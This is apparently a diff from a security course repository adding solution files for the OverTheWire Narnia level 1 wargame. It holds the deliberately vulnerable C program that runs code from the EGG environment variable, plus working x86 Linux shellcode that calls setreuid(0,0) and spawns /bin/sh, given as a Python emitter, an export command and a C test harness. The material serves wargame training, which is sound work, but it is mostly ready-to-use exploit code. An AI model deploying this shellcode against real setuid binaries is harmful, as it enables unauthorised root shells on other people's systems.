Семинар по OTW Narnia0-2

tasks/pwn/narnia/narnia1/export_egg.py

@@ -0,0 +1,3 @@
+#!/bin/python3
+import sys
+sys.stdout.buffer.write(b"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80")

tasks/pwn/narnia/narnia1/narnia1.c

@@ -0,0 +1,31 @@
+/*
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software
+   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+   */
+#include <stdio.h>
+
+int main(){
+    int (*ret)();
+
+    if(getenv("EGG")==NULL){
+        printf("Give me something to execute at the env-variable EGG\n");
+        exit(1);
+    }
+
+    printf("Trying to execute EGG!\n");
+    ret = getenv("EGG");
+    ret();
+
+    return 0;
+}

tasks/pwn/narnia/narnia1/shellcode

@@ -0,0 +1,5 @@
+\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80
+
+len: 34
+
+export SHELLCODE=$(python3 -c 'import sys;sys.stdout.buffer.write(b"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80")')

tasks/pwn/narnia/narnia1/shellcode.c

@@ -0,0 +1,36 @@
+/*
+ * (Linux/x86) setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
+ * - 33 bytes
+ * - xgc@gotfault.net
+ *
+ */
+
+char shellcode[] =
+  // setreuid(0, 0)
+  "\x6a\x46"			// push   $0x46
+  "\x58"			    // pop    %eax
+  "\x31\xdb"			// xor	  %ebx, %ebx
+  "\x31\xc9"			// xor	  %ecx, %ecx
+  "\xcd\x80"			// int    $0x80
+
+  // execve("/bin/sh")
+  "\x31\xd2"			// xor    %edx, %edx
+  "\x6a\x0b"			// push   $0xb
+  "\x58"			    // pop    %eax
+  "\x52"			    // push   %edx
+  "\x68\x2f\x2f\x73\x68"// push   $0x68732f2f
+                        // [h, s, /, /]
+  "\x68\x2f\x62\x69\x6e"// push   $0x6e69622f
+                        // [n, i, b, /]
+  "\x89\xe3"			// mov    %esp, %ebx
+  "\x52"			    // push   %edx
+  "\x53"			    // push   %ebx
+  "\x89\xe1"			// mov    %esp, %ecx
+  "\xcd\x80";			// int    $0x80
+ 
+int main() {
+ 
+        int (*f)() = (int(*)())shellcode;
+        printf("Length: %u\n", strlen(shellcode));
+        f();
+}